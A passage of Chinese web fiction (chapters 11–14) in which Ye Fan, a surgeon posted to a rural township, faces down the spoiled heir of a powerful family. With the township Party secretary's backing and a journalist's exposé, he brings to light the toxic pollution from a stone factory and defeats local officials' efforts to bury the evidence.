电话那头的马卫国也是一肚子火:“我他妈怎么知道!这件事钱国栋根本没通过政府这边,是直接从党委下的命令!我早上问了一嘴,王秘书说是什么传染病筛查,把我给顶回来了!这个钱国栋,做事越来越不讲规矩了!”
“传染病?糊弄鬼呢!肯定是冲着我们厂子来的!”周宏发急得在屋里团团转,“马哥,这事你可得帮我想想办法啊!这批样本要是送出去检测,非得出大事不可!我那个排污的暗管,前几天刚裂了个口子,还没来得及修呢!”
“我能有什么办法?钱国栋现在是铁了心要保那个姓叶的!硬拦是肯定不行的。”马卫国压低了声音,“这事,恐怕得请柳少出面了。那个姓叶的,不就是柳少的前妹夫吗?解铃还须系铃人,让柳少亲自来敲打敲打他,比我们说一百句都管用。”
周宏发一听,眼睛亮了:“对啊!我怎么把这茬给忘了!”
他立刻挂了电话,翻出一个号码拨了过去。
电话接通后,他立马换上了一副谦卑恭敬的语气。
“喂,柳少啊!我是青川县的小周啊,周宏发!哎哟,您还记得我啊,太荣幸了!那个……有个事,得麻烦您一下。您那个前妹夫,叶凡,不知道走了什么狗屎运,攀上了我们这的**,现在正盯着我们的厂子不放,都开始查村民的血了……”
江城市,一家高级会所的包厢里,柳志鹏正搂着一个网红脸的美女,和几个狐朋**打着牌。
听到电话里的内容,他先是愣了一下,随即发出一声嗤笑。
“叶凡?那个废物?在你们那鸟不拉屎的地方当个村长助理就了不起了吧?”柳志鹏轻蔑地说道,引得身边众人一阵哄笑。
“柳少,您可别小看他,现在是我们**跟前的红人!他这是要断我的财路啊!您看您能不能……”
“行了行了,我知道了。”柳志鹏不耐烦地打断了他,“一个废物而已,还能翻了天?你等着,我明天就过去一趟,亲手把他那点可笑的官威给扒了!我倒要看看,离了我们柳家,他是怎么从一条狗,变成一条敢咬人的疯狗的!”
挂掉电话,柳志鹏将手里的牌狠狠摔在桌上,脸上满是阴鸷。
叶凡!
这个名字,是他柳家的耻辱。
一想到自己那个心高气傲的妹妹,竟然嫁给过这么一个一无是处的男人,他就觉得恶心。
现在,这个废物竟然敢坏自己的好事!
“妈的,给脸不要脸!”柳志鹏拿起一杯威士忌一饮而尽,眼中闪着狠厉的光芒,“老子明天就去青山镇,让他知道知道,烂泥,永远都扶不上墙!”
蛇,终于被引出了洞。
而它不知道,洞口等待它的,是一张早已布好的天罗地网。
第11章 狭路相逢,谁是废物?
第二天下午,一辆黑色的保时捷卡宴,像一头横冲直撞的野兽,卷着一路黄尘,咆哮着冲进了青山镇。
与镇上那些慢悠悠的农用三轮和二八大杠自行车相比,这辆豪车显得格格不入,引得路人纷纷侧目。
卡宴一个嚣张的甩尾,停在了镇政府大院的门口,堵住了半个门。
车门打开,柳志鹏穿着一身潮牌,戴着墨镜,在一胖一瘦两个跟班的簇拥下,下了车。
他嫌恶地用脚尖碾了碾地上的泥土,皱着眉头走进了那栋老旧的苏式小楼。
他没打算走任何程序,径直就往里闯,嘴里嚷嚷着:“那个叫叶凡的呢?让他滚出来见我!”
政府大院里的人都看傻了,这是哪来的衙内,也太嚣张了。
王秘书第一个从办公室里出来,拦住了他们,脸上带着职业性的微笑,但眼神却很冷。“这位先生,请问你找谁?这里是政府办公地,请保持安静。”
柳志鹏墨镜一摘,上下打量着王秘书,嗤笑道:“你算哪根葱?让开,我找叶凡!”
就在这时,叶凡办公室的门开了。
他端着一个搪瓷茶杯,正准备去打开水。
看到门口的柳志鹏,他没有丝毫意外,仿佛早就料到他会来。
“柳志鹏。”叶凡平静地叫出了他的名字。
“哟,废物,还认得我啊?”柳志鹏看到叶凡,脸上的嚣张更是多了几分得意和残忍。
他大摇大摆地走到叶凡面前,用手指戳着他的胸口,“长本事了啊,都学会咬人了?谁给你的狗胆,敢查我的生意?”
他的声音很大,故意让整个楼道的人都听见。
走廊两边的办公室门缝里,都探出了好奇的脑袋。
他们都想看看,这个新来的叶助理该如何应对这突如其来的羞辱。
叶凡没有理会他戳在胸口的手指,只是默默地退后半步,拉开了距离。
他吹了吹茶杯里的热气,淡淡地说:“这里是政府,不是你家。有事说事,没事请便。”
“嘿!你还跟我装上了!”柳志鹏被他这不咸不淡的态度激怒了,他最讨厌的就是叶凡这副永远波澜不惊的**脸。
他凑到叶凡耳边,压低了声音,用只有两个人能听见的音量恶狠狠地说道:“别他妈给脸不要脸!你以为巴结上一个破镇**就有靠山了?我告诉你,我爸一句话,就能让你们这**滚蛋!识相的,马上把那些狗屁调查停了,然后跪下给我磕个头,我或许可以当什么都没发生过。不然,我不但让你在这待不下去,我还能让你滚回江城,连刷盘子的工作都找不到!”
说完,他直起身,脸上又恢复了那种嚣张的笑容,仿佛已经吃定了叶凡。
叶凡也笑了。
那是一种很淡的,带着一丝怜悯的笑容。
他放下茶杯,看着柳志鹏,像是在看一个无理取闹的病人。
“柳志鹏,你知道吗,在外科医生眼里,肿瘤分很多种。有的肿瘤虽然长得大,但位置很浅,切掉很容易。有的肿瘤看起来小,却长在关键的血管和神经上,处理起来很棘手。”
柳志鹏愣住了,**叶凡忽然说这个干什么。
叶凡继续说道,声音不大,却清晰地传遍了整个安静的楼道:“而你和你的那个石料厂,就像一种最愚蠢的肿瘤。又大,又浅,还拼命地散发着恶臭,生怕别人发现不了你。”
“**说什么!”柳志鹏脸色一变。
叶凡没有理他,自顾自地往下说,每说一句,柳志鹏的脸色就更难看一分。
“你那个石料厂,安全许可证是三年前办的,早就过期了。你用来排污的暗管,连接的是五百米外平安河的上游,我没说错吧?为了省钱,你连最基本的粉尘过滤设备都没装,导致厂区下风口的平安村,空气中二氧化硅粉尘含量,常年超标五十倍以上。”
“最关键的是水。我昨天拿到了水样初步化验单,你猜猜平安河水里的六价铬含量是多少?是国家饮用水标准上限的二十二倍。柳志鹏,六价铬是什么,你知道吗?是I类致癌物。你让下游几百个村民,天天喝这种水,用这种水洗澡、灌溉庄稼。”
叶凡看着脸色已经开始发白的柳志鹏,缓缓地,说出了最后一击。
“对了,忘了告诉你。昨天采集的,来自平安村八十七位村民的血液、尿液和毛发样本,今天凌晨四点,已经由专人送往省疾控中心的毒理学实验室了。结果最快后天就能出来。到时候,这份报告的复印件,会同时出现在省环保厅、省卫生健康委,可能还有省纪委某位领导的办公桌上。”
“你……!”
柳志鹏的瞳孔猛地收缩,他脸上的嚣张和得意荡然无存,取而代之的是一丝无法掩饰的恐慌。
他想过叶凡会耍手段,却没想到他会做得这么绝,这么快!直接捅到省里去!这是要他的命啊!
叶凡重新端起茶杯,走到柳志鹏面前,目光直视着他那双惊慌失措的眼睛。
“你总说我是废物。但在我看来,一个靠着父辈的权势,靠着毒害老百姓的健康来赚钱,出了
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事不想着解决问题,反而跑到政府大楼里来撒泼叫骂的人,才是真正的废物。”
“你不是想让我跪下吗?”叶凡的嘴角勾起一抹冷冽的弧度,“现在,是你该考虑,要不要跪下来,求求那些被你毒害的村民们,原谅你了。”
“我杀了你!”
柳志鹏的心理防线彻底崩溃,他嘶吼着,抡起拳头就朝叶凡的脸上砸去。
他身后的两个跟班也想上前。
然而,他的拳头在半空中,就被一只更有力的手给攥住了。
钱国栋不知何时,已经站在了楼梯口。
他身后,还跟着几个镇政府的保安。
“柳先生,是吧?”钱国栋的声音不高,却带着一股不容置疑的威严。
他松开柳志鹏的手,眼神冷得像冰,“这里是青山镇人民政府。如果你是来反映问题的,请去**办。如果你是来**的,那我只能请你去派出所的审讯室里,好好清醒一下了。”
柳志鹏看着钱国栋,又看了看周围那些面色不善的保安和一脸冷漠的叶凡,他知道,今天他不仅输了,而且输得一败涂地。
他像一头斗败了的公牛,喘着粗气,指着叶凡,嘴唇哆嗦着:“你……你给我等着!叶凡,你给我等着!”
撂下这句毫无分量的狠话,他便在众人鄙夷和看好戏的目光中,灰溜溜地带着两个跟班,狼狈地逃离了政府大楼。
看着那辆保时捷仓皇远去的背影,整个政府大院里爆发出了一阵压抑不住的议论声。
那些原本还在观望的干部们,此刻看向叶凡的眼神,已经彻底变了。
那不再是好奇和审视,而是深深的敬畏。
这个年轻人,不是靠恩情上位的花瓶。
他是一把锋利无比,而且敢于见血的刀。
钱国栋拍了拍叶凡的肩膀,什么也没说,只是递过去一个赞许的眼神,便转身回了办公室。
叶凡端着茶杯,也转身回了自己的小屋。
他关上门,隔绝了外面所有的喧嚣。
他走到窗边,看着窗外那棵静默的黄桷树,长长地呼出了一口气。
羞辱他的人,被他亲手踩在了脚下。
这种感觉,并不像想象中那样狂喜,反而有一种异样的平静。
他知道,这只是一个开始。
柳志鹏的背后,是柳传明,是江城市一张巨大的关系网。
一场更大的风暴,正在酝酿。
他低头,抿了一口杯中已经微凉的茶水。
茶味苦涩,却回甘。
正如他此刻的人生。
第12章 风波起,投名状!
柳志鹏那辆保时捷卡宴是夹着尾巴逃走的,但它在镇政府大院门口卷起的黄尘,却久久没有落下。
整个上午,青山镇政府这栋暮气沉沉的小楼里,都弥漫着一种异样的兴奋。
走廊里不再是死水一潭,人们的脚步都轻快了几分,眼神交汇时,都带着心照不宣的笑意。
以往那些热衷于在树下扎堆抽烟、抱怨怀才不遇的老干部们,今天谈论的话题出奇地一致。
“看见没?那辆黑车,保时捷!牌照还是江城的!就这么给怼回去了!”
“何止是怼回去,我看那小子的脸都绿了,跟咱们平安河里的水一个色儿。”
“还是咱们钱**有魄力,说一不二!还有那个叶助理,真是个狠人,三言两语就把那衙内说得跟个鹌鹑似的。”
“什么叶助理,我听卫生院的李胖子说,人家是市三甲医院下来的外科专家,玩刀子的!那嘴皮子,估计也是手术刀练出来的,一刀下去,专挑你最疼的筋割!”
叶凡成了整个政府大院的焦点。
中午去食堂打饭,负责打菜的胖大姐手一抖,一块肥瘦相间的红烧肉就稳稳地落在了他的餐盘里,还热情地多给了一勺汤汁。
连看门房的老大爷,见了他都特意把泡着浓茶的缸子往旁边挪了挪,给他让出一条更宽的路。
这些细微的变化,叶凡都看在眼里。
他明白,在官场这个最讲究实力的地方,他今天当众硬撼柳志鹏,就像一份递交上来的“投名状”。
他用最直接的方式向所有人宣告,他不是一个可以随意拿捏的软柿子,他背后站着钱国栋,而且他自己,有利齿,会咬人。
下午快下班的时候,卫生院的李德海院长一个电话打了过来,语气激动得像是中了彩票。
“叶……叶助理!不,叶神医!我听说您今天在政府大院门口,把那个无法无天的柳家大少给……给办了?”李德海的声音压得很低,但那股兴奋劲儿隔着电话线都能溢出来。
“我没办他,只是跟他讲了讲道理。”叶凡淡淡地说。
“哎哟喂!您那哪是讲道理,您那是降妖除魔啊!太给咱们青山镇长脸了!真的,叶助理,您是不知道,那个宏发石料厂,仗着有柳家撑腰,横行霸道多少年了!以前县环保局下来检查,都得先给他们老板周宏发递烟敬酒!您这一下子,是捅破了天了!痛快!太痛快了!”李德海说得唾沫横飞。
叶凡笑了笑,没接话。
他知道,李德海这种人,就是官场生态最真实的写照。
他们未必没有是非之心,但更懂得如何趋利避害。
自己得势,他会第一个靠上来锦上添花;自己一旦失势,他也会第一个跑得无影无踪。
“李院长,村民的样本送走了,这两天多关注一下平安村,有什么情况随时向我汇报。”叶凡把话题拉回了正事。
“您放心!我亲自盯着!我让小赵护士她们成立了一个‘健康回访小组’,一天三趟往村里跑,保证把您的指示落实到位!”李德海胸脯拍得山响。
挂了电话,叶凡揉了揉眉心。
他不喜欢这种应酬,但他也知道,这是必须经历的过程。钱国栋把他推到台前,就是要让他学会如何应对这些形形**的人。
办公室的门被敲响,王秘书探进头来:“叶助理,**请您过去一趟。”
钱国栋的办公室里,没有开灯,只有夕阳的余晖透过窗户洒进来,将他和那棵黄桷树的影子一同拉长。
他正在用一块软布,仔细擦拭着一副围棋。棋盘上,残局犹在。
“会下棋吗?”钱国栋没有抬头。
“会一点,学医的时候,为了锻炼耐心和逻辑,学过。”叶凡答道。
“来,陪我把这盘下完。”钱国栋指了指对面的位置。
叶凡坐下,看着棋盘。
黑子大龙被白子围困,看似已是死局,只剩最后一口气。
但若在某个不起眼的角落投下一子,却能盘活全局,甚至反杀对方。
这盘棋,像极了眼下的青山镇。
两人沉默地落子,房间里只听得见棋子落在棋盘上清脆的“嗒嗒”声。
下了十来手,钱国栋忽然开口:“今天感觉怎么样?”
“像做了一场清创手术。”叶凡说,“切掉了一块已经化脓的腐肉。”
钱国栋笑了,他抬起头,目光锐利:“但你切掉的只是表皮的脓包,深处的感染源还在。而且你这一刀下去,惊动了整个肌体,免疫系统很快就会做出反应。”
叶凡心头一凛,他知道钱国栋指的是什么。
“柳志鹏是个草包,不足为惧。但他身后的柳传明,不一样。”钱国栋将一颗白子重重落下,吃掉了叶凡的一小片黑子,“柳传明在江城市宣传系统深耕多年,门生故吏遍布,他这个人,爱惜羽毛胜过爱惜自己的儿子。你今天让柳志鹏当众出丑,等于是在柳传明的脸上狠狠地扇了一巴掌。他绝不会善罢甘休。”
“他会怎么做?”叶凡问。
“对付我们这种基层,他们的手段无非就那几样。”钱国栋慢条斯理地分析道,“第一,釜底抽薪。他会动用关系,从县里甚至市里向我施压,让我把你这个‘不稳定因素’调离,或者干脆把你送回江城。只要你走了,石料厂的事情自然不了了之。”
“第二,污名化。他会质疑你取证的程序是否合法,质疑你一个医生是否有资格主导公共卫生调查。他甚至会派一个所谓的
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‘市级联合调查组’下来,接管这件事,然后把水搅浑,最后得出一个‘村民反应部分属实,企业存在管理疏漏,已责令限期整改’的结论。你好不容易烧起来的火,一盆冷水就给你浇灭了。”
“第三,也是最狠的一招,人身攻击。他们会去查你的过去,查你离婚的原因,把你和柳家的恩怨拿出来大做文章,把你塑造成一个因爱生恨、挟私报复的小人。到时候,你所有的正义行为,都会被蒙上一层肮脏的动机。”
钱国栋每说一条,叶凡的心就沉一分。
他发现,自己那点小聪明,在真正的**老手面前,确实还嫩得很。
他只想着如何“切除病灶”,却没想过手术之后,如何应对“并发症”和“感染”。
“那我们怎么办?”叶凡看着钱国栋,眼神里第一次有了请教的意味。
“你不用办。”钱国栋看着他,目光深邃,“你只需要做一件事,把你的‘手术报告’写好。那份省里的检测结果,就是你的手术刀,也是你唯一的护身符。只要这份报告是铁证,谁也无法推翻。至于其他的,我来应对。”
他站起身,走到窗边,背着手,看着天边最后一抹晚霞。“叶凡,你要记住,在官场这个棋盘上,有时候最重要的,不是你会下多少精妙的棋,而是你能不能扛得住对手的盘外招。你负责冲锋陷阵,我负责给你守住后方。这,也是我的投名状。”
叶凡心中巨震。
他明白,钱国栋这番话,已经不只是把他当成一个可用的下属,而是当成了一个可以并肩作战的“战友”。
他把自己的**前途和叶凡这颗棋子,紧紧地绑在了一起。
就在这时,钱国栋办公桌上的红色电话机,尖锐地响了起来。
钱国栋看了一眼来电显示,眼神微微一凝,走过去,按下了免提键。
一个官威十足的声音从电话里传来,是青川县县委**,张海涛的声音。
“老钱啊,我听说,你们镇上今天很热闹啊?”张海涛的语气听不出喜怒。
“张**,您指的是?”钱国栋的语气一如既往地平稳。
“柳副部长的公子在你们镇政府大院里,被一个医生给撅了面子。柳副部长亲自把电话打到我这里来了,问我们青川县的干部,是不是都这么有性格啊?”张海涛的声音冷了几分,“他还问我,一个从市里下放的医生凭什么绕开县里的职能部门,去搞什么‘公共卫生调查’?老钱,这件事,你是不是该给我一个解释?”
风暴,比预想中来得更快,更猛烈。
叶凡的心瞬间提到了嗓子眼。
他看着钱国栋的背影,那背影在夕阳的余晖里,站得笔直,像一棵不屈的松。
第13章 泰山压顶,奇兵突出!
电话里的空气,仿佛凝固了。
张海涛**的每一句话,都像一块石头,沉甸甸地压在人心上。
他没有咆哮,没有指责,但那种居高临下的质问,比任何咆哮都更具压力。
整个青山镇,谁不知道宏发石料厂每年给县里的财政贡献有多大?谁不知道老板周宏发和县长的堂兄是连襟?
张海涛作为县委一把手,不可能不清楚这里面的门道。
他现在这通电话,名为问责,实为施压。
叶凡屏住呼吸,他想看看钱国栋如何应对这第一波冲击。
钱国栋沉默了几秒钟,然后拿起话筒,语气平静中透着一股子韧劲:“张**,您说的这件事,我知道。柳副部长的公子来我们镇上,确实和我的助理叶凡医生发生了一点口角。但事情的起因,是叶凡医生正在调查处理一件关乎几百名群众生命健康的重大公共卫生安全隐患。”
他巧妙地避开了“冲突”和“羞辱”这样的字眼,而是用“口角”一笔带过,同时立刻把事情的性质,拔高到“重大公共卫生安全隐患”和“几百名群众生命健康”的高度。
“哦?什么隐患,这么严重?”张海涛显然没那么好糊弄。
“宏发石料厂,长期违规排放,可能已经造成了下游平安村水源和土壤的重金属污染。村民中已经出现了群体性的、不明原因的病症。叶凡同志是这方面的专家,他只是在履行一个医生的天职,也是在尽一个干部的本分。”钱国栋不卑不亢,“至于绕开县里的说法,我不敢苟同。叶凡同志的调查是在镇党委的直接领导下进行的,程序上没有任何问题。之所以没有事先向县里汇报,是因为情况紧急,而且为了防止消息泄露,打草惊蛇,影响取证的真实性。等拿到确凿的证据,我正准备第一时间向您和县委做专题汇报。”
这番话说得滴水不漏。
既解释了原因,又表明了态度,还顺带将了张海涛一军——我拿到证据就准备向您汇报,这是对您的尊重。
如果您现在强行叫停,那将来出了事,这个责任……
电话那头的张海涛沉默了。
他当然听得出钱国栋话里的潜台词。
他一个县委**,总不能公开为一个污染企业站台,更不敢去赌几百个村民的健康会不会出大问题。
过了许久,张海涛才缓缓开口,语气缓和了一些:“老钱,你的心情我理解,为民办事是我们的职责。但方式方法上,还是要注意。柳副部长那边,影响总归是不好的。这样吧,你那个调查,先缓一缓。明天,我让县环保局和卫生局组成一个联合调查组,正式进驻青山镇,把这件事彻查清楚。你手上的材料,到时候一并移交给调查组。”
来了。
钱国栋预判的第二招,这么快就来了。
所谓的“联合调查组”,不过是把主动权从钱国栋手上夺走,然后把水搅浑的工具。
钱国栋的眉头不易察觉地皱了一下,但他语气依旧平稳:“好的,我服从县委的决定。不过张**,我有一个小小的建议。省里派出的检测机构,已经在加急化验我们采集到的村民生物样本了。我建议,等省里的权威检测报告出来之后,再和我们县调查组的结论,两相对照,这样得出的结论,才更能令人信服,也更能体现我们县委县政府科学严谨、对人民高度负责的态度,您说呢?”
他再一次把“省里”这张牌打了出来,而且用得极其巧妙。
我不是不配合你,我只是建议等一个更权威的结果出来,大家一起看。
你县里的调查组,总不能比省里的检测机构还牛吧?
张海涛又是一阵沉默。
他感觉自己像是在打太极,每一拳打出去,都被钱国栋用一种绵里藏针的力道给化解了。
这个在青山镇待了快十年,眼看就要退休的老家伙,什么时候变得这么难缠了?
“……好,就按你说的办。”最终,张海涛只能不情不愿地松了口,“但在此期间,不许再有任何激化矛盾的事情发生!管好你的人!”
“请张**放心。”
电话挂断,办公室里恢复了安静。
叶凡长长地舒了一口气,感觉后背已经微微出汗。
刚才那短短几分钟的通话,比他做一台十小时的心脏搭桥手术还要惊心动魄。
“看见了吗?”钱国栋放下电话,脸上看不出喜怒,“这就是博弈。他有他的势,我有我的理。在底牌没有揭晓之前,谁都奈何不了谁。我们现在要做的,就是等。等那份检测报告。”
接下来的两天,青山镇的气氛变得异常诡异。
镇政府大院里风平浪静,但所有人都感觉到了一股山雨欲来的压抑。
马卫国副镇长又开始活跃起来,频繁地往县里跑,见了叶凡,眼神里的怨毒少了几分,却多了几分看好戏的幸灾乐祸。
而叶凡,则完全像个没事人。
他每天依旧是看文件,喝茶,偶尔去村里转转。
但他去得最多的地方,是平安村。他没有再大张旗鼓地搞什么动员,只是挨家挨户地走访,和村民们拉家常,询问他们的病情,用随身携带的听诊器给老人和孩子听听肺音。
他用最朴素的方式,让村民们相信,他没有走,他还在。
这份信任,是比任何**都更坚实的后盾。
第三天上午,一辆白色的越野车驶入了青山镇。
车上下来一个二十五六岁的年轻女子,她扎着干练的马尾,穿着一身简单的牛仔裤和冲锋衣,背着一个大大的双肩包,手里拿着相机。
她一下车,就用一双极为明亮的眼睛,好奇地打量着这个被群山环抱的小镇。
她叫苏沐秋,是江城晚报社的一名调查记者。
一个星期前,她报社的一个老线人,省疾控中心的一个朋友,在饭局上无意中跟她提了一句:“最近有个下面县里送来的样本,有点邪门,好几个指标高得吓人,好像是什么群体性**,事情压着呢,不敢声张。”
职业的敏感性让苏沐秋立刻抓住了这个线索。
经过几天的旁敲侧击,她终于把目标锁定在了青川县的青山镇。
她来到镇政府,说要采访一下本地的扶贫工作和特色旅游资源。
接待她的,是办公室的一个小干事。
小干事对付这种记者很有经验,翻出几份宣传材料,滔滔不绝地介绍着青山镇那些子虚乌有的“旅游亮点”。
苏沐秋一边微笑着点头,一边状似无意地问道:“我听说咱们镇有个平安村,那边的风景怎么样?好像最近镇里还组织了医疗队去那边搞健康普查,真是把老百姓的健康放在心上啊。”
小干事一愣,眼神有些闪躲:“啊……那
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个,平安村路不好走,没什么看的。健康普查是常规工作,常规工作。”
这欲盖弥彰的态度,更让苏沐秋确定了这里面有事。
她找了个借口离开政府大院,在镇上唯一的一家小饭馆吃饭。
饭馆老板是个话痨,苏沐秋点了两个菜,要了一瓶啤酒,很快就跟老板聊开了。
“大叔,我听人说,前两天有个开保时捷的大老板,在政府门口跟一个干部吵起来了?真的假的?”苏沐秋装作一副八卦的样子。
“嗨!何止是吵架!”老板一拍大腿,来了精神,“那场面,你是没见着!咱们镇新来的那个叶助理,就把那城里来的大老板,骂得跟孙子似的!那叫一个解气!”
“叶助理?这么厉害?”
“可不是嘛!人家是市里来的大专家,为了平安村那石料厂污染的事,把天都快捅破了!听说连县委**都惊动了!”
苏沐秋的眼睛越来越亮。
专家、污染、冲突、高层介入……所有要素都齐了,这绝对是个大新闻!
她很快就打听到了叶凡的办公室,直接找上了门。
叶凡正在研究一张青山镇的水文地质图,看到一个陌生的年轻女子推门进来,有些意外。
“你好,我叫苏沐秋,江城晚报的记者。”苏沐秋开门见山,同时递上了自己的记者证。
叶凡看了一眼记者证,眉头微不可查地一挑。
记者,是他现在最不想打交道的人群。
“我这里不接受采访。”他语气平淡,直接下了逐客令。
苏沐秋似乎早就料到他会是这个反应,也不生气,自顾自地拉了张椅子坐下,笑了笑:“叶医生,我不是来采访你的。我是来采访‘真相’的。”
她把“真相”两个字咬得很重。
“平安河的水,六价铬超标二十二倍。平安村的空气,二氧化硅粉尘超标五十倍。村民中,疑似矽肺和重金属**的患者,超过三十例。这些,是你捅出来的吧?”苏沐秋看着叶凡,目光灼灼。
叶凡的瞳孔骤然收缩。
他惊愕地看着眼前这个女人,这些数据,连钱国栋都是从他口中才得知的,她一个外人,怎么可能知道得这么清楚?
“你调查我?”叶凡的声音冷了下来。
“不。”苏沐秋摇了摇头,神情坦诚,“我只是在拼凑碎片。有些碎片来自省城,有些来自县里,有些,就来自刚刚楼下饭馆老板的嘴里。现在,我需要你这块最核心的碎片,把整个故事拼凑完整。”
叶凡沉默了。
他看着苏沐秋,那双眼睛里没有一丝狡黠和算计,只有一种对事实的渴望和执着。
他想起了钱国栋的话,要学会利用一切可以利用的力量。
或许,她就是那个可以打破僵局的“奇兵”。
就在两人对峙,办公室里的空气都快要凝固的时候,叶凡的手机响了。
他看了一眼号码,是王秘书用加密电话打来的。
他走到窗边,接起电话。
“叶助理,”王秘书的声音带着一丝压抑不住的激动,“省里的正式报告,刚刚通过加密邮件发过来了!结果……结果比我们想象的还要严重得多!”
叶凡的心,猛地一跳。
他挂了电话,回头看了一眼正襟危坐、眼神里充满期待的苏沐秋。
他知道,决战的时刻,到了。
第14章 图穷匕见,一锤定音!
钱国栋的办公室里,气氛凝重如铁。
一份刚刚打印出来的、还带着墨香的检测报告,静静地躺在办公桌上。
报告的抬头,是“江南省疾病预防控制中心毒理学检测所”,页脚盖着鲜红的、不容置疑的公章。
叶凡和钱国栋并肩站着,目光都聚焦在那一排排触目惊心的数字上。
血液样本,87份,其中63份血铅含量超标,41份血铬含量超标,12份甚至检测出了高浓度的镉。
尿液样本,氟化物含量普遍超标,与村民们普遍反映的骨关节疼痛症状完全吻合。
而最致命的,是那几份从村里老人咳出的痰液中提取的样本,经过病理分析,直接确诊了三例矽肺二期。
这已经不是一份简单的污染检测报告了。这是一份死亡判决书。
判的是宏发石料厂的**,判的是周宏发和柳志鹏的罪行,甚至,是判了某些保护伞官员**生命的终结。
“比我想象的还要狠。”钱国栋的声音有些沙哑,他摘下老花镜,用手指用力的按着太阳穴。
他宦海沉浮几十年,见过的风浪不少,但看到这份白纸黑字的报告,依然感到一阵心悸。
这不是普通的**结,这是在用几百条人命,去填一个贪婪的无底洞。
叶凡的脸色也很难看,他的手紧紧攥着,指节因为用力而发白。
作为医生,他见惯了生死,但这种人为制造的、群体性的、缓慢的死亡,让他感到一种生理性的愤怒和恶心。
“**,有了这份报告,县里的那个‘联合调查组’,就成了一个笑话。”叶凡说。
“不,他们不会善罢甘休的。”钱国栋摇了摇头,眼中闪过一丝冷光,“他们会动用最后一招,抢夺。他们会以‘统一管理、深入调查’为名,要求我们上交所有原始证据,包括这份报告。一旦东西到了他们手里,就能拖,拖到天荒地老;也能改,把大事化小,小事化了。”
叶凡瞬间明白了其中的凶险。
这份报告,是他们的核武器,但如果被人抢走了发射按钮,那也只是一堆废纸。
“所以,我们必须在他们动手之前,先把这颗**,引爆。”叶凡抬起头,目光落向了自己办公室的方向。
那里,还坐着一个叫苏沐秋的记者。
钱国栋看了他一眼,立刻明白了叶凡的想法。
他沉吟了片刻,这步棋太险,一旦走了,就再也没有回头路。
**是双刃剑,伤敌的同时,也可能伤到自己。
“你有把握控制住她吗?”钱国栋问。
“我控制不了她,但我相信一个记者能找到这里,她的职业操守值得信任,我也相信她对真相的渴望。”叶凡说,“我不会把这份报告直接给她。但我可以给她指一条路,让她自己去找到真相。她是一条聪明的猎犬,只要闻到血腥味,自己就会扑上去。”
钱国栋凝视着叶凡,这个年轻人身上那股子敢于打破常规、剑走偏锋的狠劲,让他既欣赏,又有些担忧。
最终,他缓缓地点了点头:“去做吧。天塌下来,我顶着。”
叶凡回到自己的办公室,苏沐秋依然坐在那里,很有耐心地在等。
“苏记者,想喝点什么?”叶凡的态度一百八十度大转弯,还主动拿起了暖水瓶。
苏沐秋眼睛一亮,知道有戏了。“白开水就行,叶医生,你这是想通了?”
“我没什么想不想得通的。”叶凡给她倒了杯水,推到她面前,“我只是觉得,有些事情,确实需要被更多的人知道。但你知道,我有我的纪律。”
“我懂。”苏沐秋立刻心领神会,“你不用告诉我任何机密。你只需要告诉我,如果一个记者,想要了解平安村村民最真实的健康状况,她应该去哪里,找谁。”
叶凡笑了。
和聪明人说话,就是省力。
“镇卫生院,李德海院长那里,存着平安村近五年所有的就诊档案。不过,他那个人胆子小,未必敢给你看。”叶凡顿了顿,又说,“平安村东头第三家,有个叫张大山的老人,他儿子去年就是因为喘不上气死的,死的时候才四十出头。他手里,应该留着不少他儿子在县医院、市医院看病的病历。”
“还有,下午三点,村委会,会有几个老人聚在那里晒太阳。他们每个人都是一本行走的病历。”
叶凡没有透露一个字关于检测报告的事情,但他给出的每一个线索都像一把钥匙,足以让苏沐秋打开一扇又一扇通往真相的大门。
“谢谢。”苏沐秋站起身,深深地看了叶凡一眼,眼神里充满了感激和一种棋逢对手的兴奋。
她没有多说一句废话,背起包,风风火火地就走了。
看着她离去的背影,叶凡知道,自己已经把引线点燃了。
果不其然,第二天上午,柳传明的反击就到了。
三辆挂着江城市政府牌照的轿车,直接开进了镇政府大院。
为首的,是市卫生局的一位副局长,姓刘,是柳传明一手提拔起来的亲信。
他带着一个所谓的“市级突发公共卫生事件应急处置督导组”,气势汹汹地直奔钱国栋的办公室。
“钱**,接到群众举报,说你们青山镇在处理所谓‘公共卫生事件’的过程中,存在程序不规范、夸大事实、制造恐慌等严重问题。市领导高度重视,特派我们下来督导工作!”刘副局长一开口,官腔就打得十足,“现在,请你们立即将所有相关的调查材料、取样记录、送检回执等原始文件,全部移交给我们督导组,由我们统一进行封存和后续调查!”
这番话,和钱国栋的预判,一字不差。
他们这是来抢证据了。
钱国栋坐在办公桌后,面色沉静,手指有节奏地敲击着桌面:“刘局长,你们辛苦了。只是,我们青山镇的调查工作,是严格按照程序,在镇党委领导下进行的,何来不规范一说?至于夸大事实,制造恐慌,更是无稽之谈。我们有省疾控中心的权威报告作为依据。”
“省里的报告?”刘局长皮笑肉不笑,“那正好,一并移交给我们。我们会请更权威的专家,进行复核。在复核结果出来之前,任何人不得擅自对外发布任**息!”
就在刘局长伸手,准备去拿钱国栋桌上那份文件的时
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候,钱国栋的手机忽然震动了一下。
是王秘书发来的一条微信。
只有一个链接。
钱国栋点开链接,一个醒目的标题赫然出现在屏幕上——
**《毒河之殇:被遗忘的青山镇,谁在用生命为污染买单?》**
文章的发布者,是国内一家极具影响力的网络新闻平台。
作者,署名“青川”。
文章没有直接点名宏发石料厂,更没有提柳家。
它只是用一种冷静而又饱含同情的笔触,讲述了平安村的故事。
浑浊的河水,灰白色的庄稼,村民们红肿的关节,孩子们无休止的咳嗽,张大山老人抱着儿子遗像时无声的眼泪……
每一个细节,都配上了高清的照片,极具视觉冲击力。
文章的结尾,更是抛出了几个振聋发聩的问题:
“当村民的哀嚎被当成无理取闹,当清澈的河流变成致命的**,我们不禁要问,那些本该为他们撑起一片蓝天的监管部门,在哪里?”
“当一个有良知的基层医生试图揭开真相时,为何迎来的不是支持,而是来自更高层级的‘督导’与‘封口’?他们,到底在害怕什么?”
这篇文章,就像一颗深水**,在发布的短短一个小时内,点击量就突破了五十万,评论数过万。
愤怒的、同情的、质疑的**,像山洪一样瞬间爆发,席卷了整个网络。
钱国栋看完,将手机递给了刘副局长:“刘局长,我希望你先看看这篇文章,再决定接下来的工作。”
刘副局长楞了一下,不知道钱国栋在耍什么花招。
他接过了手机,在看到这篇文章时,脸色瞬间变得比猪肝还要难看。
他拿着手机的手,甚至都在微微颤抖。
他那句“任何人不得擅自对外发布任**息”,在铺天盖地的网络**面前,变成了一个天大的笑话。
他们所谓的“督导组”,此刻看起来,更像是文章里那个试图“捂盖子”的反派角色。
压力,瞬间逆转。
